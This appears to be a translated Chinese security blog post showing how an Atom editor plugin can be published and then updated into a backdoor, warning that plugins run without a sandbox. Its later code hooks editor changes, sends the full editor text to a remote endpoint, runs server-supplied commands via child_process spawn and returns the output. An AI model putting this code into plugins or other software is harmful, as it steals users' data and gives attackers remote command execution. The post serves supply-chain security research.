背景
在生活中,我们都需要用到编辑器。但是,当选择一个编辑器时,每个人都有自己的看法。有些人喜欢像Atom或者Sublime这样的现代编辑器,而另外一些人更喜欢坚持使用Vim或Emacs。无论你选择什么,你最有可能想以某种方式进行自定义操作。
现代编辑的插件和扩展是强大的。除了外观上的一些自定义之外(字体,配色方案等),它们还允许您提供一系列功能,使您的生活变得更轻松:从自动完成和缩位,代码美化和git集成等插件,您应该能够找到一个适合您需要的插件。如果没有,你可以创建和发布一个。
通常情况,用户下载新的插件以满足他们的需求,插件列表越来越多(因为谁有时间回去删除旧的未使用的插件?),许多编辑支持自动更新,以确保及时Bug及更新功能。
对于这篇文章,我将专注于Atom,这是Github上最闪亮的编辑器。根据他们的网站,这是一个“21世纪的黑客文本编辑器”。Atom的用户群不断增长,以及各种各样的软件包。您甚至可以使用黑技巧在Chromebook上安装Atom,它们绕过了ChromeOS上的基本安全模型。
目标
我的任务是探索恶意Atom插件危害程度。我们不知道我们面临什么障碍,不知道Atom有没有安全防护措施来阻止我们的恶意插件。事实证明,没有防护措施,几个小时内,我不仅发布了我的第一个应用程序,而且更新了它,以包含一点点恶意代码。
计划很简单:
第一步:发布一个简单的软件包(plugin)
第二步:测试更新过程
如果您打算创建一个恶意软件包,您将首先创建一个有用的非恶意软件包,创建一个庞大的用户群,然后推送一个可以注入不好的代码的更新。
第三步:从Atom包中实际测试我们可以实现的内容
我们需要确定我们的恶意软件是否在沙盒中运行以及我们拥有哪些系统库访问权限等。
插件编写
插件的开发比较简单。有很多指南来创建和发布Atom的包,包括在他们的网站上的一个详细的描述。
第一步
1. 生成一个新的包:
cmd + shift + p Package Generator: Generate Package
这将为您提供一个简单的切换方法的包,我们将在稍后使用:
toggle: -> console.log 'touch-type-teacher was toggled!'
2.将代码推送到Git repo
git init git add . git commit -m "First commit" git remote add origin <remote_repo_url> git push -u origin master
3.发布您的Atom包
apm-beta publish minor
第二步
1. 在初始设置完成后,对创建的包进行修改,不然很容易发现:
toggle: -> console.log 'touch-type-teacher was toggled!' console.log 'update test'
2.推送到Github:
git commit -a -m 'Add console logging' git push
3.发布新版本:
apm-beta publish minor
第三步
我们看到Atom的包是建立在node.js上的,初始测试是看我们有哪些模块可以访问。
从请求包开始测试是一个很好的开始,因为它允许数据从受害者的机器中取出并发送到我们这边。
通过快速挖掘发现,很容易添加一个依赖关系到我们的包中:
npm install --save request@2.73.0 apm install
在我们的代码中导入:
request = require'request '
更新我们的代码以将一些数据发布到我们的远程端点:
toggle: -> request 'http://my-remote-endpoint.com/run?data=test_data', (error, response, body) => console.log 'Data sent!'
有了这个,一旦toggle函数被调用,那么我们的包就会自动发送信息给我们。现在我们有一种获取信息的方法,我们需要看看我们能够访问哪些信息。
更进一步
先前,执行命令是硬编码的,现在我们修改代码使执行的命令是动态接收的! 之前我们创建的Atom包中,只有toggle函数被调用时才会触发执行命令,现在我们将修改代码,完成一旦一个按键被按下就会触发执行命令的函数。
首先我们需要去hook当前编辑器的onChange事件:
module.exports = TouchTypeTeacher = touchTypeTeacherView: null modalPanel: null subscriptions: null editor: null activate: (state) -> @touchTypeTeacherView = new TouchTypeTeacherView(state.touchTypeTeacherViewState) @modalPanel = atom.workspace.addModalPanel(item: @touchTypeTeacherView.getElement(), visible: false) @editor = atom.workspace.getActiveTextEditor() @subscriptions = new CompositeDisposable @subscriptions.add atom.commands.add 'atom-workspace', 'touch-type-teacher:toggle': => @toggle() @subscriptions.add @editor.onDidChange (change) => @myChange()
然后,在Atom包中创建myChange函数,利用该函数将执行一些恶意的操作:
myChange: -> request 'http://my-remote-endpoint.com/test?data=' +@editor.getText(), (error, response, body) => {spawn} = require 'child_process' test = spawn body console.log 'External code to run:n' + body test.stdout.on 'data', (data) -> console.log 'sending output' request 'http://my-remote-endpoint.com/run?data=' + data.toString().trim(), (error, response, body) => console.log 'output sent!'
这段代码片段实现了我们想要完成的功能,编辑器每发生一个变化,我们都会将编辑器中的文本发送到我们的服务器,然后服务器会返回一个新的命令到用户的机器上执行。 编辑组执行命令并将执行结果发送到我们的服务器。
演示
总结
我们创建了一个插件,并发布了它,但这个插件并不具有任何的危害。此插件是在没有沙盒,没有任何权限限制的环境中运行的,而且也没有任何的防护去阻止我们窃取用户机器上的数据信息。即使安全研究人员会对上传的软件代码进行了某种分析,但攻击者也可以在软件运行时远程执行恶意代码。自动更新意味着即使我们的插件今天很好,但或许这款插件明天可能就会被植入了后门程序。
因此,迫使开发人员仅使用受控的工具/插件集合似乎很恶劣,但如果不受控制,安全性越来越难保证。